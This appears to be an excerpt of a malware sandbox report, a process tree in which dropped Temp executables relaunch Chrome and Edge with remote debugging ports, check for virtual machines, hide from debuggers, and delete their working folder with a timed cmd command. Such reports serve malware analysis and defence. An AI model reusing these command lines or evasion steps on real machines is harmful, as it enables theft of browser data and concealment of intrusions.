        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2296,i,16473918812424671574,10225362615812117817,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2288 /prefetch:2
        10⤵
        
        PID:852
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1804,i,16473918812424671574,10225362615812117817,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2564 /prefetch:3
        10⤵
        
        PID:336
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=1912,i,16473918812424671574,10225362615812117817,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2664 /prefetch:8
        10⤵
        
        PID:2880
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3204,i,16473918812424671574,10225362615812117817,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3224 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:2148
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3232,i,16473918812424671574,10225362615812117817,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3364 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:4648
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4500,i,16473918812424671574,10225362615812117817,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4488 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:6036
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4712,i,16473918812424671574,10225362615812117817,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4728 /prefetch:8
        10⤵
        
        PID:5668
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4716,i,16473918812424671574,10225362615812117817,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4824 /prefetch:8
        10⤵
        
        PID:5124
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
        9⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        
        PID:6060
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe7bd946f8,0x7ffe7bd94708,0x7ffe7bd94718
        10⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5528
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2136 /prefetch:2
        10⤵
        
        PID:5668
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 /prefetch:3
        10⤵
        
        PID:5300
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2788 /prefetch:8
        10⤵
        
        PID:5124
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:4072
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3516 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:3016
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2148 /prefetch:2
        10⤵
        
        PID:4720
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2132 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:4824
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4984 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:4992
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5056 /prefetch:2
        10⤵
        
        PID:2884
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=5052 /prefetch:2
        10⤵
        
        PID:4888
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2552 /prefetch:2
        10⤵
        
        PID:4564
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2152 /prefetch:2
        10⤵
        
        PID:4504
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=5232 /prefetch:2
        10⤵
        
        PID:3544
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=5504 /prefetch:2
        10⤵
        
        PID:6084
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,13348431491858540729,16902363217280979402,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=5488 /prefetch:2
        10⤵
        
        PID:2996
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
        9⤵
        Uses browser remote debugging
        
        PID:6008
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe7bd946f8,0x7ffe7bd94708,0x7ffe7bd94718
        10⤵
        
        PID:856
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2128,12576953914106017261,6191976387088066776,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 /prefetch:3
        10⤵
        
        PID:4392
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
        9⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        
        PID:2804
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe7bd946f8,0x7ffe7bd94708,0x7ffe7bd94718
        10⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5228
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2100 /prefetch:2
        10⤵
        
        PID:3056
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 /prefetch:3
        10⤵
        
        PID:2912
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2912 /prefetch:8
        10⤵
        
        PID:2416
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:5932
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:3200
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:2
        10⤵
        
        PID:5796
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2092 /prefetch:2
        10⤵
        
        PID:4784
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3036 /prefetch:2
        10⤵
        
        PID:6136
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2816 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:4148
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3628 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:3504
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=4844 /prefetch:2
        10⤵
        
        PID:2536
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=4792 /prefetch:2
        10⤵
        
        PID:5280
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=3700 /prefetch:2
        10⤵
        
        PID:5288
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2088,18008736385004492182,11972583162226033292,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3860 /prefetch:8
        10⤵
        
        PID:5088
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\6xl68" & exit
        9⤵
        
        PID:2352
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 11
        10⤵
        Delays execution with timeout.exe
        
        PID:1056
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5024 -s 800
        8⤵
        Program crash
        
        PID:4952
        
        C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1788
        
        C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:3660
        
        C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe"
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2704
        
        C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:3656
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
        8⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:1708
        
